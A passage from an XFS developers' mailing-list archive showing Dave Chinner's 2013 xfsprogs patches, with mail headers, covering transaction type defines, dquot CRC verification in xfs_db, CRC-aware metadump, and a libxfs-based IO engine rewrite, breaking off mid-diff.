xfs_buf_ops xfs_symlink_buf_ops; +extern const struct xfs_buf_ops xfs_agi_buf_ops; +extern const struct xfs_buf_ops xfs_inobt_buf_ops; +extern const struct xfs_buf_ops xfs_inode_buf_ops; +extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; +extern const struct xfs_buf_ops xfs_dquot_buf_ops; +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; +extern const struct xfs_buf_ops xfs_symlink_buf_ops; + +/* + * Transaction types. Used to distinguish types of buffers. These never reach + * the log. + */ +#define XFS_TRANS_SETATTR_NOT_SIZE 1 +#define XFS_TRANS_SETATTR_SIZE 2 +#define XFS_TRANS_INACTIVE 3 +#define XFS_TRANS_CREATE 4 +#define XFS_TRANS_CREATE_TRUNC 5 +#define XFS_TRANS_TRUNCATE_FILE 6 +#define XFS_TRANS_REMOVE 7 +#define XFS_TRANS_LINK 8 +#define XFS_TRANS_RENAME 9 +#define XFS_TRANS_MKDIR 10 +#define XFS_TRANS_RMDIR 11 +#define XFS_TRANS_SYMLINK 12 +#define XFS_TRANS_SET_DMATTRS 13 +#define XFS_TRANS_GROWFS 14 +#define XFS_TRANS_STRAT_WRITE 15 +#define XFS_TRANS_DIOSTRAT 16 +/* 17 was XFS_TRANS_WRITE_SYNC */ +#define XFS_TRANS_WRITEID 18 +#define XFS_TRANS_ADDAFORK 19 +#define XFS_TRANS_ATTRINVAL 20 +#define XFS_TRANS_ATRUNCATE 21 +#define XFS_TRANS_ATTR_SET 22 +#define XFS_TRANS_ATTR_RM 23 +#define XFS_TRANS_ATTR_FLAG 24 +#define XFS_TRANS_CLEAR_AGI_BUCKET 25 +#define XFS_TRANS_QM_SBCHANGE 26 +/* + * Dummy entries since we use the transaction type to index into the + * trans_type[] in xlog_recover_print_trans_head() + */ +#define XFS_TRANS_DUMMY1 27 +#define XFS_TRANS_DUMMY2 28 +#define XFS_TRANS_QM_QUOTAOFF 29 +#define XFS_TRANS_QM_DQALLOC 30 +#define XFS_TRANS_QM_SETQLIM 31 +#define XFS_TRANS_QM_DQCLUSTER 32 +#define XFS_TRANS_QM_QINOCREATE 33 +#define XFS_TRANS_QM_QUOTAOFF_END 34 +#define XFS_TRANS_SB_UNIT 35 +#define XFS_TRANS_FSYNC_TS 36 +#define XFS_TRANS_GROWFSRT_ALLOC 37 +#define XFS_TRANS_GROWFSRT_ZERO 38 +#define XFS_TRANS_GROWFSRT_FREE 39 +#define XFS_TRANS_SWAPEXT 40 +#define XFS_TRANS_SB_COUNT 41 +#define XFS_TRANS_CHECKPOINT 42 +#define XFS_TRANS_ICREATE 43 +#define XFS_TRANS_TYPE_MAX 43 +/* new transaction types need to be reflected in xfs_logprint(8) */ + +#define XFS_TRANS_TYPES \ + { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ + { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ + { XFS_TRANS_INACTIVE, "INACTIVE" }, \ + { XFS_TRANS_CREATE, "CREATE" }, \ + { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ + { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ + { XFS_TRANS_REMOVE, "REMOVE" }, \ + { XFS_TRANS_LINK, "LINK" }, \ + { XFS_TRANS_RENAME, "RENAME" }, \ + { XFS_TRANS_MKDIR, "MKDIR" }, \ + { XFS_TRANS_RMDIR, "RMDIR" }, \ + { XFS_TRANS_SYMLINK, "SYMLINK" }, \ + { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ + { XFS_TRANS_GROWFS, "GROWFS" }, \ + { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ + { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ + { XFS_TRANS_WRITEID, "WRITEID" }, \ + { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ + { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ + { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ + { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ + { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ + { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ + { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ + { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ + { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ + { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ + { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ + { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ + { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ + { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ + { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ + { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ + { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ + { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ + { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ + { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ + { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ + { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ + { XFS_TRANS_DUMMY1, "DUMMY1" }, \ + { XFS_TRANS_DUMMY2, "DUMMY2" }, \ + { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } + +/* + * This structure is used to track log items associated with + * a transaction. It points to the log item and keeps some + * flags to track the state of the log item. It also tracks + * the amount of space needed to log the item it describes + * once we get to commit processing (see xfs_trans_commit()). + */ +struct xfs_log_item_desc { + struct xfs_log_item *lid_item; + struct list_head lid_trans; + unsigned char lid_flags; +}; + +#define XFS_LID_DIRTY 0x1 + +/* log size calculation functions */ +int xfs_log_calc_unit_res(struct xfs_mount *mp, int unit_bytes); +int xfs_log_calc_minimum_size(struct xfs_mount *); + + +/* + * Values for t_flags. + */ +#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ +#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ +#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ +#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ +#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ +#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ +#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer + count in superblock */ +/* + * Values for call flags parameter. + */ +#define XFS_TRANS_RELEASE_LOG_RES 0x4 +#define XFS_TRANS_ABORT 0x8 + +/* + * Field values for xfs_trans_mod_sb. + */ +#define XFS_TRANS_SB_ICOUNT 0x00000001 +#define XFS_TRANS_SB_IFREE 0x00000002 +#define XFS_TRANS_SB_FDBLOCKS 0x00000004 +#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 +#define XFS_TRANS_SB_FREXTENTS 0x00000010 +#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 +#define XFS_TRANS_SB_DBLOCKS 0x00000040 +#define XFS_TRANS_SB_AGCOUNT 0x00000080 +#define XFS_TRANS_SB_IMAXPCT 0x00000100 +#define XFS_TRANS_SB_REXTSIZE 0x00000200 +#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 +#define XFS_TRANS_SB_RBLOCKS 0x00000800 +#define XFS_TRANS_SB_REXTENTS 0x00001000 +#define XFS_TRANS_SB_REXTSLOG 0x00002000 + +/* + * Here we centralize the specification of XFS meta-data buffer reference count + * values. This determine how hard the buffer cache tries to hold onto the + * buffer. + */ +#define XFS_AGF_REF 4 +#define XFS_AGI_REF 4 +#define XFS_AGFL_REF 3 +#define XFS_INO_BTREE_REF 3 +#define XFS_ALLOC_BTREE_REF 2 +#define XFS_BMAP_BTREE_REF 2 +#define XFS_DIR_BTREE_REF 2 +#define XFS_INO_REF 2 +#define XFS_ATTR_BTREE_REF 1 +#define XFS_DQUOT_REF 1 + +/* + * Flags for xfs_trans_ichgtime(). + */ +#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ +#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ +#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ + + +/* + * Symlink decoding/encoding functions + */ +int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); +int xfs_symlink_hdr_set(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_inode *ip, struct xfs_ifork *ifp); + +#endif /* __XFS_SHARED_H__ */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2C3547FA7 for ; Sun, 29 Sep 2013 22:15:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1C221304039 for ; Sun, 29 Sep 2013 20:15:57 -0700 (PDT) X-ASG-Debug-ID: 1380510952-04cbb02c3e1591df0002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id lVVaLg4h16Te2qMd for ; Sun, 29 Sep 2013 20:15:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJgEFJy8zCEk5AxsZiAW8DI4GgWiEDAOpeIM2KoEs Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006PQ-9u for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Gr-8f for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 23/32] db: verify and calculate dquot CRCs Date: Mon, 30 Sep 2013 13:15:35 +1000 X-ASG-Orig-Subj: [PATCH 23/32] db: verify and calculate dquot CRCs Message-Id: <1380510944-8571-24-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510955 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- When we set the current Io cursor to point at a dquot block, verify that the dquot CRC is intact. And prior to writing such an IO cursor, calculate the dquot CRC. Signed-off-by: Dave Chinner --- db/io.c | 5 ++++- db/io.h | 1 + 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/db/io.c b/db/io.c index 8ddb5e5..7281148 100644 --- a/db/io.c +++ b/db/io.c @@ -464,7 +464,9 @@ write_cur(void) if (iocur_top->ino_buf) libxfs_dinode_calc_crc(mp, iocur_top->data); - + if (iocur_top->dquot_buf) + xfs_update_cksum(iocur_top->data, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF); if (iocur_top->bbmap) write_cur_bbs(); else @@ -538,6 +540,7 @@ set_cur( iocur_top->dirino = dirino; iocur_top->mode = mode; iocur_top->ino_buf = 0; + iocur_top->dquot_buf = 0; /* store location in ring */ if (ring_flag) diff --git a/db/io.h b/db/io.h index 1f8270d..4f24c83 100644 --- a/db/io.h +++ b/db/io.h @@ -40,6 +40,7 @@ typedef struct iocur { struct xfs_buf *bp; /* underlying buffer */ int ino_crc_ok:1; int ino_buf:1; + int dquot_buf:1; } iocur_t; #define DB_RING_ADD 1 /* add to ring on set_cur */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 60A647F98 for ; Sun, 29 Sep 2013 22:15:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D2A2AC001 for ; Sun, 29 Sep 2013 20:15:55 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id xBIDwu3xANBEyFT9 for ; Sun, 29 Sep 2013 20:15:54 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDqXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Pg-E4 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002HQ-DG for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 30/32] db: enable metadump on CRC filesystems Date: Mon, 30 Sep 2013 13:15:42 +1000 X-ASG-Orig-Subj: [PATCH 30/32] db: enable metadump on CRC filesystems Message-Id: <1380510944-8571-31-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510954 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that we can calculate CRCs through xfs_db, we can add support for recalculating CRCs on obfuscated metadump images. This simply requires us to call the write verifier manually before writing the buffer to the metadump image. We don't need to do anything special to mdrestore, as the metadata blocks it reads from the image file should already have all the correct CRCs in them. hence it can be mostly oblivious to the fact that the filesystem it is resotring contains CRCs. While there, add IO stack unwinding to xfs_db to prevent metadump and other db programs from exiting with unreleased buffers in the IO stack and hence emitting warnings like: cache_purge: shake on cache 0x69e4f0 left 7 nodes!? Signed-off-by: Dave Chinner --- db/init.c | 5 ++++- db/metadump.c | 24 +++++++++++++++++++----- mdrestore/xfs_mdrestore.c | 3 --- 3 files changed, 23 insertions(+), 9 deletions(-) diff --git a/db/init.c b/db/init.c index 2b643f9..dc915fb 100644 --- a/db/init.c +++ b/db/init.c @@ -173,9 +173,11 @@ main( int c, i, done = 0; char *input; char **v; + int start_iocur_sp; pushfile(stdin); init(argc, argv); + start_iocur_sp = iocur_sp; for (i = 0; !done && i < ncmdline; i++) { v = breakline(cmdline[i], &c); @@ -202,7 +204,8 @@ close_devices: * make sure that we pop the last buffer context we held so that the * buffer is released before purge the caches during unmount. */ - pop_cur(); + while (iocur_sp > start_iocur_sp) + pop_cur(); libxfs_umount(mp); if (x.ddev) libxfs_device_close(x.ddev); diff --git a/db/metadump.c b/db/metadump.c index ac6a4d6..117dc42 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -172,6 +172,22 @@ write_buf( __int64_t off; int i; + /* + * Run the write verifier to recalculate the buffer CRCs and check + * we are writing something valid to disk + */ + if (buf->bp && buf->bp->b_ops) { + buf->bp->b_error = 0; + buf->bp->b_ops->verify_write(buf->bp); + if (buf->bp->b_error) { + fprintf(stderr, + _("%s: write verifer failed on bno 0x%llx/0x%x\n"), + __func__, (long long)buf->bp->b_bn, + buf->bp->b_bcount); + return buf->bp->b_error; + } + } + for (i = 0, off = buf->bb, data = buf->data; i < buf->blen; i++, off++, data += BBSIZE) { @@ -1727,6 +1743,9 @@ copy_inode_chunk( if (!process_inode(agno, agino + i, dip)) goto pop_out; + + /* calculate the new CRC for the inode */ + xfs_dinode_calc_crc(mp, dip); } skip_processing: if (!write_buf(iocur_top)) @@ -2053,11 +2072,6 @@ metadump_f( return 0; } - if (xfs_sb_version_hascrc(&mp->m_sb) && dont_obfuscate == 0) { - print_warning("Can't obfuscate CRC enabled filesystems yet."); - return 0; - } - metablock = (xfs_metablock_t *)calloc(BBSIZE + 1, BBSIZE); if (metablock == NULL) { print_warning("memory allocation failure"); diff --git a/mdrestore/xfs_mdrestore.c b/mdrestore/xfs_mdrestore.c index fe61766..e57bdb2 100644 --- a/mdrestore/xfs_mdrestore.c +++ b/mdrestore/xfs_mdrestore.c @@ -109,9 +109,6 @@ perform_restore( if (sb.sb_magicnum != XFS_SB_MAGIC) fatal("bad magic number for primary superblock\n"); - if (xfs_sb_version_hascrc(&sb)) - fatal("Can't restore CRC enabled filesystems yet.\n"); - ((xfs_dsb_t*)block_buffer)->sb_inprogress = 1; if (is_target_file) { -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1B0827FAF for ; Sun, 29 Sep 2013 22:15:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id ADA0DAC001 for ; Sun, 29 Sep 2013 20:15:57 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 8Z4NCwfkfNX90ldE for ; Sun, 29 Sep 2013 20:15:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgVAzE5Aw0OGRuHarwMk3oDqXiDNiqBLiQ Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006P9-6i for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002GX-65 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 19/32] db: rewrite IO engine to use libxfs Date: Mon, 30 Sep 2013 13:15:31 +1000 X-ASG-Orig-Subj: [PATCH 19/32] db: rewrite IO engine to use libxfs Message-Id: <1380510944-8571-20-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510955 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that we have buffers and xfs_buf_maps, it is relatively easy to convert the IO engine to use libxfs routines. This gets rid of the most of the differences between mapped and straight buffer reads, and tracks xfs_bufs directly in the IO context that is being used. This is not yet a perfect solution, as xfs_db does different sized IOs for the same block range which will throw warnings like: xfs_db> inode 64 7ffff7fde740: Badness in key lookup (length) bp=(bno 0x40, len 8192 bytes) key=(bno 0x40, len 4096 bytes) xfs_db> This is when first displaying an inode in the root inode chunk. These will need to be dealt with on a case by case basis. Signed-off-by: Dave Chinner --- db/init.c | 25 ++++++-- db/io.c | 176 ++++++++++++++----------------------------------------- db/io.h | 4 +- include/libxfs.h | 3 + libxfs/init.c | 5 ++ libxfs/rdwr.c | 61 ++++++++++++------- 6 files changed, 116 insertions(+), 158 deletions(-) diff --git a/db/init.c b/db/init.c index 0e88b56..b1cddca 100644 --- a/db/init.c +++ b/db/init.c @@ -54,8 +54,8 @@ init( int argc, char **argv) { - xfs_sb_t *sbp; - char bufp[BBSIZE]; + struct xfs_sb *sbp; + struct xfs_buf *bp; int c; setlocale(LC_ALL, ""); @@ -115,14 +115,25 @@ init( exit(1); } - if (read_buf(XFS_SB_DADDR, 1, bufp)) { + /* + * Read the superblock, but don't validate it - we are a diagnostic + * tool and so need to be able to mount busted filesystems. + */ + memset(&xmount, 0, sizeof(struct xfs_mount)); + libxfs_buftarg_init(&xmount, x.ddev, x.logdev, x.rtdev); + bp = libxfs_readbuf(xmount.m_ddev_targp, XFS_SB_DADDR, + 1 << (XFS_MAX_SECTORSIZE_LOG - BBSHIFT), 0, NULL); + + if (!bp || bp->b_error) { fprintf(stderr, _("%s: %s is invalid (cannot read first 512 " "bytes)\n"), progname, fsdevice); exit(1); } /* copy SB from buffer to in-core, converting architecture as we go */ - libxfs_sb_from_disk(&xmount.m_sb, (struct xfs_dsb *)bufp); + libxfs_sb_from_disk(&xmount.m_sb, XFS_BUF_TO_SBP(bp)); + libxfs_putbuf(bp); + libxfs_purgebuf(bp); sbp = &xmount.m_sb; if (sbp->sb_magicnum != XFS_SB_MAGIC) { @@ -201,6 +212,12 @@ main( } close_devices: + /* + * make sure that we pop the last buffer context we held so that the + * buffer is released before purge the caches during unmount. + */ + pop_cur(); + libxfs_umount(mp); if (x.ddev) libxfs_device_close(x.ddev); if (x.logdev && x.logdev != x.ddev) diff --git a/db/io.c b/db/io.c index 01a5970..9129963 100644 --- a/db/io.c +++ b/db/io.c @@ -104,8 +104,12 @@ pop_cur(void) dbprintf(_("can't pop anything from I/O stack\n")); return; } - if (iocur_top->buf) - xfree(iocur_top->buf); + if (iocur_top->bp) + libxfs_putbuf(iocur_top->bp); + if (iocur_top->bbmap) { + free(iocur_top->bbmap); + iocur_top->bbmap = NULL; + } if (--iocur_sp >= 0) { iocur_top = iocur_base + iocur_sp; cur_typ = iocur_top->typ; @@ -147,10 +151,11 @@ print_iocur( dbprintf(_("\tbuffer block %lld (fsbno %lld), %d bb%s\n"), ioc->bb, (xfs_dfsbno_t)XFS_DADDR_TO_FSB(mp, ioc->bb), ioc->blen, ioc->blen == 1 ? "" : "s"); - if (ioc->use_bbmap) { + if (ioc->bbmap) { dbprintf(_("\tblock map")); - for (i = 0; i < ioc->blen; i++) - dbprintf(" %d:%lld", i, ioc->bbmap.b[i]); + for (i = 0; i < ioc->bbmap->nmaps; i++) + dbprintf(" %lld:%d", ioc->bbmap->b[i].bm_bn, + ioc->bbmap->b[i].bm_len); dbprintf("\n"); } dbprintf(_("\tinode %lld, dir inode %lld, type %s\n"), ioc->ino, @@ -238,7 +243,7 @@ push_f( else set_cur(iocur_top[-1].typ, iocur_top[-1].bb, iocur_top[-1].blen, DB_RING_IGN, - iocur_top[-1].use_bbmap ? &iocur_top[-1].bbmap : NULL); + iocur_top[-1].bbmap); /* run requested command */ if (argc>1) @@ -280,8 +285,7 @@ forward_f( iocur_ring[ring_current].bb, iocur_ring[ring_current].blen, DB_RING_IGN, - iocur_ring[ring_current].use_bbmap ? - &iocur_ring[ring_current].bbmap : NULL); + iocur_ring[ring_current].bbmap); return 0; } @@ -321,8 +325,7 @@ back_f( iocur_ring[ring_current].bb, iocur_ring[ring_current].blen, DB_RING_IGN, - iocur_ring[ring_current].use_bbmap ? - &iocur_ring[ring_current].bbmap : NULL); + iocur_ring[ring_current].bbmap); return 0; } @@ -362,7 +365,7 @@ ring_f( iocur_ring[index].bb, iocur_ring[index].blen, DB_RING_IGN, - iocur_ring[index].use_bbmap ? &iocur_ring[index].bbmap : NULL); + iocur_ring[index].bbmap); return 0; } @@ -417,132 +420,37 @@ ring_add(void) } } -int -read_buf( - xfs_daddr_t bbno, - int count, - void *bufp) -{ - int err; - - err = pread64(x.dfd, bufp, BBTOB(count), BBTOB(bbno)); - if (err < 0) - err = errno; - else if (err < count) - err = -1; - return err; -} - -static int -write_buf( - xfs_daddr_t bbno, - int count, - void *bufp) -{ - int err; - - err = pwrite64(x.dfd, bufp, BBTOB(count), BBTOB(bbno)); - if (err < 0) - err = errno; - else if (err < count) - err = -1; - return err; -} - static void write_cur_buf(void) { int ret; - ret = write_buf(iocur_top->bb, iocur_top->blen, iocur_top->buf); - - if (ret == -1) - dbprintf(_("incomplete write, block: %lld\n"), - (iocur_base + iocur_sp)->bb); - else if (ret != 0) + ret = libxfs_writebufr(iocur_top->bp); + if (ret != 0) dbprintf(_("write error: %s\n"), strerror(ret)); /* re-read buffer from disk */ - ret = read_buf(iocur_top->bb, iocur_top->blen, iocur_top->buf); - if (ret == -1) - dbprintf(_("incomplete read, block: %lld\n"), - (iocur_base + iocur_sp)->bb); - else if (ret != 0) + ret = libxfs_readbufr(mp->m_ddev_targp, iocur_top->bb, iocur_top->bp, + iocur_top->blen, 0); + if (ret != 0) dbprintf(_("read error: %s\n"), strerror(ret)); } -static int -write_bbs( - __int64_t bbno, - int count, - void *bufp, - bbmap_t *bbmap) -{ - int j; - int rval = EINVAL; /* initialize for zero `count' case */ - - for (j = 0; j < count;) { - rval = write_buf(bbmap->b[j].bm_bn, bbmap->b[j].bm_len, - (char *)bufp + BBTOB(j)); - if (rval) - break; - - j += bbmap->b[j].bm_len; - } - return rval; -} - -static int -read_bbs( - __int64_t bbno, - int count, - void **bufp, - bbmap_t *bbmap) -{ - void *buf; - int j; - int rval = EINVAL; - - if (count <= 0) - count = 1; - - if (*bufp == NULL) - buf = xmalloc(BBTOB(count)); - else - buf = *bufp; - for (j = 0; j < count;) { - rval = read_buf(bbmap->b[j].bm_bn, bbmap->b[j].bm_len, - (char *)buf + BBTOB(j)); - if (rval) - break; - - j += bbmap->b[j].bm_len; - } - if (*bufp == NULL) - *bufp = buf; - return rval; -} - static void write_cur_bbs(void) { int ret; - ret = write_bbs(iocur_top->bb, iocur_top->blen, iocur_top->buf, - &iocur_top->bbmap); - if (ret == -1) - dbprintf(_("incomplete write, block: %lld\n"), - (iocur_base + iocur_sp)->bb); - else if (ret != 0) + ret = libxfs_writebufr(iocur_top->bp); + if (ret != 0) dbprintf(_("write error: %s\n"), strerror(ret)); + /* re-read buffer from disk */ - ret = read_bbs(iocur_top->bb, iocur_top->blen, &iocur_top->buf, - iocur_top->use_bbmap ? &iocur_top->bbmap : NULL); - if (ret == -1) - dbprintf(_("incomplete read, block: %lld\n"), - (iocur_base + iocur_sp)->bb); - else if (ret != 0) + ret = 